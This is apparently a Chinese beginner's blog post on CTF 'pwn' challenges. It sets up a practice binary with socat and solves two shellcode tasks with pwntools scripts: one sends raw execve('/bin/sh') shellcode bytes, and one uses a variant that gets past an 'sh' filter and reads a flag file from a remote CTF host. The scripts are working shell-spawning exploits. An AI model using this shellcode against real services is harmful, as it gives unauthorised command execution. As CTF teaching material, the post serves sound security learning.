White's Blog.

从零开始的PWN入门0x01

字数统计: 724Reading time: 3 min
2019/08/15 Share

0x00

CodeShell:

shellcode是一段用于利用软件漏洞而执行的代码,shellcode为16进制的机器码,因为经常让攻击者获得shell而得名。shellcode常常使用机器语言编写。 可在暂存器eip溢出后,塞入一段可让CPU执行的shellcode机器码,让电脑可以执行攻击者的任意指令。
类似于Web的一句话,让我们能获得其shell,从而达到目的。

0x01

题目: ShellCode
毕竟是从零开始的入门,这边顺便介绍一下如何在本地搭建Pwn题,题目我会放在附件里,供大家尝试。题目均由刘宇坤大哥设计,具有唯一拥有权。
首先在虚拟机下开启Kali,将可执行文件拷贝到虚拟机

cd Desktop/
socat tcp-l:2333,reuseaddr,fork exec:./Desktop/shellcode

0x00.png

这样就会将该题布置在虚拟机的2333端口上了。
接着重新打开一个终端输入

ifconfig

查询虚拟机的ip,然后在本机上用nc试试能否连上。

0x01.png

如果nc没有闪退就是成功

0x02.png

接着我们用IDA来分析一下这个题目
0x03.png

可以看到很简单的通过read来读取shellcode这一变量的值,然后return shellcode
这道题就是要让我们尝试一下使用shellcode

exp:

1
2
3
4
5
from pwn import *
n = remote("192.168.92.133", 2333)
n.sendline(asm(shellcraft.i386.linux.sh()))#利用pwntools里自带的shellcraft内的Shellcode来获得shell
n.interactive()
![0x04.png][5]

刘大哥的exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
#!/usr/bin/env python2
# -*- coding: utf-8 -*-

from pwn import *

context(arch='amd64', os='linux', log_level='debug')
context.terminal = ['tmux', 'splitw', '-h']

elf = ELF('/bin/sh')
libc = elf.libc


def attach():
gdb.attach(io, gdbscript="source bp")

sc = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80"

io = process(elf.path) # , env={'LD_PRELOAD': 'libc.so.6'})
#io = remote("192.168.92.133", 2333)
print sc
io.send(sc)
io.interactive()

0x05.png

可以看到我们两个的exp都可以getshell,都可以执行ls命令,就是说我虚拟机被我自己给黑咯(逃

0x02

题目: ShellCode2
这道题较上一道稍微改变了一下。

0x06.png

可以看到这道题对sh进行了过滤,shellcode中被禁止使用带有sh的指令。
这道题没什么好讲的,就是说大家可以在往上多找一些shellcode(有很多),多了解一些绕过方式等。

exp:

1
2
3
4
from pwn import *
n = remote("120.79.114.39", 10002)
n.sendline(asm(shellcraft.i386.linux.cat("./flag")))
n.interactive()

0x07.png

可以看到我直接执行了cat flag

刘大哥的exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
#!/usr/bin/env python2
# -*- coding: utf-8 -*-
# http://shell-storm.org/shellcode/files/shellcode-811.php
from pwn import *

context(arch='amd64', os='linux', log_level='debug')
context.terminal = ['tmux', 'splitw', '-h']

elf = ELF('/bin/sh')
libc = elf.libc


def attach():
gdb.attach(io, gdbscript="source bp")

sc = "\x31\xc0\x50\x68\x68\x00\x00\x00\x68\x2f\x2f\x2f\x73\x90\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80"

# io = process(elf.path) # , env={'LD_PRELOAD': 'libc.so.6'})
io = remote('localhost', 2333)
print sc
io.send(sc)
io.interactive()

第一篇就先写道这。

题目附件:shellcode.zip

原文作者:White

发表日期:August 15th 2019, 12:44:48 am

更新日期:November 23rd 2019, 4:59:23 pm

CATALOG
  1. 1. 0x00
  2. 2. 0x01
  3. 3. 0x02